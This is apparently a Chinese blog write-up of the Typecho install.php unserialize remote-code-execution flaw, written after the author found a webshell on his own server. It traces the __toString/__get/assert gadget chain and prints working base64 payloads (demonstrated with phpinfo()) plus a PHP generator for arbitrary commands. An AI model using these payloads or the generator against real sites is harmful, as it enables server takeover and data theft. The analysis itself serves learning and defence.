0x00 前言
很久沒有在安全方面折騰,突然收到“爸爸雲”的短信,“您的服務器xxx.xxx.xxx.xxx存在網站後門,爲防止黑客進一步入侵,請登錄進行查看和處理”。當時正在出差,手頭沒電腦,草草看了一眼沒來得及處理,最近得空研究了研究。常在河邊走,哪有不溼鞋,網上已經有該漏洞的詳解,僅以此文記錄對反序列化漏洞研究的一個學習過程。
0x01 漏洞復現
使用工具:
1、Firefox瀏覽器+HackBar插件
2、Payload
// 下面這段Payload是執行 phpinfo();
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUxMTc5NTIwMTtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
使用條件:
1、$_GET[‘finish’] 參數不爲空
2、Referer 必須是本站
注:Payload可以通過插入Cookie提交,也可以通過POST提交。
復現:
0x02 漏洞探索
一開始收到短信,我還以爲是評論區造成的。先登陸阿里雲後臺看看是什麼問題。
本以爲只是無傷大雅的小洞,看了之後一驚,Webshell,嚇得我趕緊登陸服務器,雖然服務器上沒什麼值得竊取的。
一句話木馬,expsky應該是一個暱稱,百度一下。
果然是個暱稱,混跡於FreeBuf,最近一篇文章就是關於Typecho反序列化漏洞相關的。本以爲是他把我懟了,看了文章之後才發現原來只是漏洞利用檢測工具的作者。
在此感謝expsky
從文章中,得知漏洞存在於install.php文件,附上了漏洞檢測工具,不過並沒有報告漏洞細節。
0x03 漏洞細節
得知漏洞所在文件,接下來就研究研究。
漏洞存在與229-235行。
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
程序要運行到此處需要滿足兩個條件
1、$_GET[‘finish’] 參數不爲空
2、Referer 必須是本站
這段代碼第一行先調用了Typecho_Cookie::get()方法獲取$_GET[‘__typecho_config’],跳轉進去可以看一下
可以看到,如果cookie裏不存在‘__typecho_config’字段,則從$_POST裏查找。
所以在利用的時候,可以直接使用POST提交‘__typecho_config’
接着往下看
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
獲取到值之後,先base64解碼,然後再用unserialize反序列化,賦值給$config。
看到這,那我們input的內容就是要構造一個‘__typecho_config’,來output我們想要的東西。
繼續往下尋找可利用的output的地方。
在反序列化之後,取出
$db = new Typecho_Db($config['adapter'], $config['prefix']);
繼續跟進Typecho_Db
構造函數在Db.php的114行
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 獲取適配器名稱 */
$this->_adapterName = $adapterName;
/** 數據庫適配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化內部變量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//實例化適配器對象
$this->_adapter = new $adapterName();
}
第120行
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
此處對傳入的$adapterName進行了字符串拼接。
如果傳入的$adapterName,是一個類,那麼在將這個類進行字符串拼接的時候就會觸發這個類的__toString()方法
注:這裏涉及PHP的魔術方法,簡單說一下,魔術方法就是在某些情況下會自動去調用的方法,比如很多面向對象編程語言都存在的構造函數、析構函數等等,都可以理解爲魔術方法。
相關方法以及觸發條件推薦兩個參考鏈接
其實下面這張圖已經非常簡單明瞭
注:圖片摘自 [Typecho install.php 後門分析 |王鬆_Striker - Web安全與前端]
那我們就來全局搜索一下,看看那些類使用了__toString()方法,可以讓我們進行利用。
其中有三個類有使用__toString()方法
var/Typecho/Config.php
var/Typecho/Feed.php
var/Typecho/Db/Query.php
其中Config.php裏沒什麼好利用的,我們再看一下Feed.php和Query.php
在Query.php中存在可以觸發_call()的魔術方法,全局搜索跟進_call()魔術方法之後沒有可利用的點,我們直接查看Feed.php
Feed.php,在290行
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
這裏訪問了$item[‘author’]->screenName
我們回顧一下上面說的魔術方法,其中__get()這個方法在讀取不可訪問的數據時觸發
而
到這裏,我們縷一縷思路再繼續
1、從Cookie或者POST的數據中尋找到‘__typecho_config’字段
2、然後調用‘__typecho_config’中的‘adapter’和’prefix’實例化一個Typecho_Db類
3、在實例化過程中,採用了字符串拼接訪問了‘adapter’,當我們設置的‘adapter’字段是一個類的話,就會觸發這個類的__toString()魔術方法
4、尋找到Feed這個類中的__toString() 魔術方法,訪問了$item[‘author’]->screenName
5、當$item[‘author’]->screenName爲一個不可訪問的屬性時,將會觸發該類的__get()魔術方法
好的,至此我們還沒有尋找的可利用的output點,我們繼續全局搜索一下可利用的 ‘__get()’ 方法
在文件Request.php 267行
public function __get($key)
{
return $this->get($key);
}
跟進get() 293行
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
這一段的判斷條件,都可以控制$value的值
沒有問題,$value的值依然在可控範圍
繼續跟進_applyFilter()
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
在163-164行,使用了array_map()和call_user_func()
我們查一下這兩個函數分別是什麼意思
這下就好玩了,這兩個函數都是代碼執行相關的函數,也就是我們想要的output了
剛剛縷了縷思路,我們再來回顧一邊
1、從Cookie或者POST的數據中尋找到‘__typecho_config’字段
2、然後調用‘__typecho_config’中的‘adapter’和’prefix’實例化一個Typecho_Db類
3、在實例化過程中,採用了字符串拼接訪問了‘adapter’,當我們設置的‘adapter’字段是一個類的話,就會觸發這個類的__toString()魔術方法
4、尋找到Feed這個類中的__toString() 魔術方法,訪問了$item[‘author’]->screenName
5、當$item[‘author’]->screenName爲一個不可訪問的屬性時,將會觸發該類的__get()魔術方法
6、Typecho_Request類的魔術方法中,調用了get(),該方法內,檢測了_params[$key]是否存在
7、將_params[$key]的值傳入_applyFilter()方法,並執行代碼
OK.知道條件之後我們就來構造我們的Payload
首先看看我們實際提交的結構
( // 實例化一個Typecho_Db, 數組必須包含 'adapter'和'prefix'兩個鍵值
/**
* 實例化Typecho_Db時構造函數中進行字符串拼接,
* 如果值爲對象,則觸發該對象的 __toString()魔術方法
*/
[adapter] => Typecho_Feed Object
(
/**
* 在Feed的__toString()魔術方法中,
* 290行和358行,訪問了$item['author']->screenName
* 程序要運行到此處$this->_type必須爲 "RSS 2.0"或者"ATOM 1.0"
*/
[_type:Typecho_Feed:private] => RSS 2.0
/**
* 當從不可訪問的屬性中讀取,將會觸發該類的__get()魔術方法
*/
[_items:Typecho_Feed:private] => Array
(
[0] => Array
(
/**
* 'category' 用於分支處理,如果不用於回顯數據,此字段可以省略
* 此處需要構造非空數組,且成員值爲對象
*/
[category] => Array
(
[0] => Test Object
(
)
)
/**
* 此處構造滿足觸發Typecho_Request對象的__get()魔術方法
*/
[author] => Typecho_Request Object
( // 必須包含兩個鍵值 '_params'和'_filter'
/**
* @ 此處爲觸發的關鍵部分
* 1、由Feed類中訪問screName觸發Request的__get(),
* 在Request.php的290行傳入$key='screenName'
* 2、此時get()函數內 $value='phpinfo()' // 296-297行
* 3、繼續判斷了 $value值非數組,且長度大於0 // 307行
* 4、將 $value 傳入 _applyFilter()
* 5、判斷 $this->_filter // 161行
* 6、遍歷 $this->_filter // 162行
* 7、$value非數組,執行call_user_func($filter, $value)
* 8、最終執行結果爲call_user_func(assert, phpinfo())
*/
[_params:Typecho_Request:private] => Array
(
[screenName] => phpinfo()
)
[_filter:Typecho_Request:private] => Array
(
[0] => assert
)
)
)
)
)
// 分支處理
[prefix] => typecho_
)
上面部分可能註釋太多,看起來比較亂,我貼一個沒有註釋的
(
[adapter] => Typecho_Feed Object
(
[_type:Typecho_Feed:private] => RSS 2.0
[_items:Typecho_Feed:private] => Array
(
[0] => Array
(
[category] => Array
(
[0] => Test Object
(
)
)
[author] => Typecho_Request Object
(
[_params:Typecho_Request:private] => Array
(
[screenName] => phpinfo()
)
[_filter:Typecho_Request:private] => Array
(
[0] => assert
)
)
)
)
)
[prefix] => typecho_
)
構造完成,序列化後使用base64加密,得到Payload
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjQ6IlRlc3QiOjA6e319czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToicGhwaW5mbygpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==
使用方法看文首 0x01 部分
0x05 編寫EXP
<?php
$CMD = 'phpinfo()';
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
private $_type;
private $_items;
public function __construct() {
//$this->_type = $this::RSS2;
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = $GLOBALS[CMD];
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
感謝 王鬆_Striker 和 p0
附上參考鏈接
Typecho install.php 反序列化導致任意代碼執行
CSDN:http://blog.csdn.net/byb123
Blog:https://www.wangsansan.com/
公衆號:iamwangsansan (山中書)
歡迎關注
內容不定時更新
歡迎轉載,請註明出處
作者:王三三